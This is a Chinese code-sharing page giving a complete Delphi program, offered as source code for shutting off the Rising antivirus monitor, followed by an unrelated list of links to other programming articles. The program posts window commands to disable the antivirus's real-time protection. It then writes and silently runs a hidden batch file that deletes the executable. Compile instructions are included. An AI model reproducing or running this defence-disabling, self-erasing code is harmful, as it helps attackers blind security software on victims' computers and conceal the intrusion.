program Project1;

uses
Windows, Messages, SysUtils;

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

procedure StopRising;
var
hWindow: HWND;
lpClassName: array[0..20] of char;
begin
hWindow := GetWindow(GetForegroundWindow, GW_HWNDFIRST);
repeat
GetClassName(hWindow, lpClassName, 20);
if lpClassName = '#32770' then //判断搜索窗口的类名
PostMessage(hWindow, WM_COMMAND,40027,0);
PostMessage(hWindow, WM_COMMAND,2775,0);
PostMessage(hWindow, WM_COMMAND,32776,0);
hWindow := GetWindow(hWindow, GW_HWNDNEXT);
until
hWindow = 0;
end;
begin
StopRising; //调用
DeleteMe;
end.

把全部内容拷贝到 Project1.dpr 中。在 delphi7 中打开 Project1.dpr 文件,按Ctrl+F9一次, 即可生成EXE文件。
程序执行完成后会删除自己,如果不想这样,可以把倒数第二行改成 //DeleteME 或删除这一行即可。

DELPHI关闭瑞星监控的源代码的更多相关文章

  1. Delphi编写后台监控软件

    Delphi编写后台监控软件         文章来源:Delphi程序员之家     后台监控软件,为了达到隐蔽监控的目的,应该满足正常运行时,不显示在任务栏上,在按Ctrl+Alt+Del出现的任 ...

  2. 利用Delphi实现网络监控系统

    实现的原理WINSOCK是一组API,用于在INTE.Net上传输数据和交换信息.用它编程本来是很麻烦的,但在DELPHHI中并不需要直接与WINSOCK的API打交道,因为TclientSocket ...

  3. 大约Android远程监控APP源代码

    这篇文章的目的,关心询问名人,要打开源代码.这里说明,远程监控摄像头场外,相反,用手机摄像头摄像头server上,要理解这一点.关于非常网上的文章达到server道路.它能够准确,念就乱发博文,当然假 ...

  4. delphi关闭程序Close,application.Terminate与halt区别

    当Close是一个主窗体时,程序会退出.Close会发生FormClose事件,FormCloseQuery事件Halt会发生FormDestory事件,Application.Terminate以上 ...

  5. delphi 写系统日志监控 转

    不久前写了个抓取网页内容的小程序,跑了一晚上,本以为早上起来都抓完了,谁知道程序死掉了,分析半天,才发现用tmemo来记录日志的信息太多了,越积越多,本来memo的容量就不大.对于无法控制信息量的日志 ...

  6. 怎样用delphi关闭并重新启动 explorer.exe进程

    uses Tlhelp32; function KillTask(ExeFileName:string):integer; const PROCESS_TERMINATE = $0001; var C ...

  7. Delphi 关闭MDI子窗口

    需要在子窗口的onClose事件中吧Action = caFree; 就可以了. procedure Tfrm_aa.FormClose(Sender: TObject; var Action: TC ...

  8. Icon cache rebuilding with Delphi(Delphi 清除Windows 图标缓存源代码)

    清除Windows图标缓存的代码: procedure RebuildIconCache; .... const sr_WindowMetrics='Control Panel\Desktop\Win ...

  9. 看一段Delphi导出到Word的源代码

    procedure TFrmWeekAnalysisQry.BtnExportToExcelClick(Sender: TObject);var wordApp,WordDoc,WrdSelectio ...

随机推荐

  1. hdu 4336 Card Collector 容斥原理

    读完题目就知道要使用容斥原理做! 下面用的是二进制实现的容斥原理,详见:http://www.cnblogs.com/xin-hua/p/3213050.html 代码如下: #include< ...

  2. 一个简单的C#加密解密类

    //DES默认密钥向量 private static byte[] Keys = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF }; /// < ...

  3. Java中获取完整的访问url

    Java中获得完整的URl字符串: HttpServletRequest httpRequest=(HttpServletRequest)request; String strBackUrl = &q ...

  4. 看文档要看仔细,英语要加强啊... cocos2d-x 的 API 和 对应版本的 cocos2d-js 的 API 没有完全对应

    /** * Sets the X rotation (angle) of the node in degrees which performs a horizontal rotational skew ...

  5. 第一个C语言代码

    #include<stdio.h> void main() {     int g1,g2,g3,r1,r2,r3,n;     int m=0;     float ave;     i ...

  6. 107. Binary Tree Level Order Traversal II

    题目: Given a binary tree, return the bottom-up level order traversal of its nodes' values. (ie, from ...

  7. nginx + tomcat

    http://blog.csdn.net/sun305355024sun/article/details/8620996

  8. TextView设置样式的3种方式

    1,直接在<TextView>中设置 <TextView android:id="@+id/tv_badge_view_count" android:layout ...

  9. GPS(2)关于位置的3个示例,实时获取GPS定位数据,求两个经纬点距离,邻近某个区域圆时警告

    实时获取GPS定位数据 import android.app.Activity; import android.content.Context; import android.location.Loc ...

  10. General Ledger Useful SQL Scripts – Oracle Applications 11i

    General Ledger Useful SQL Scripts – Oracle Applications 11i Contents GL Set of Books Configuration O ...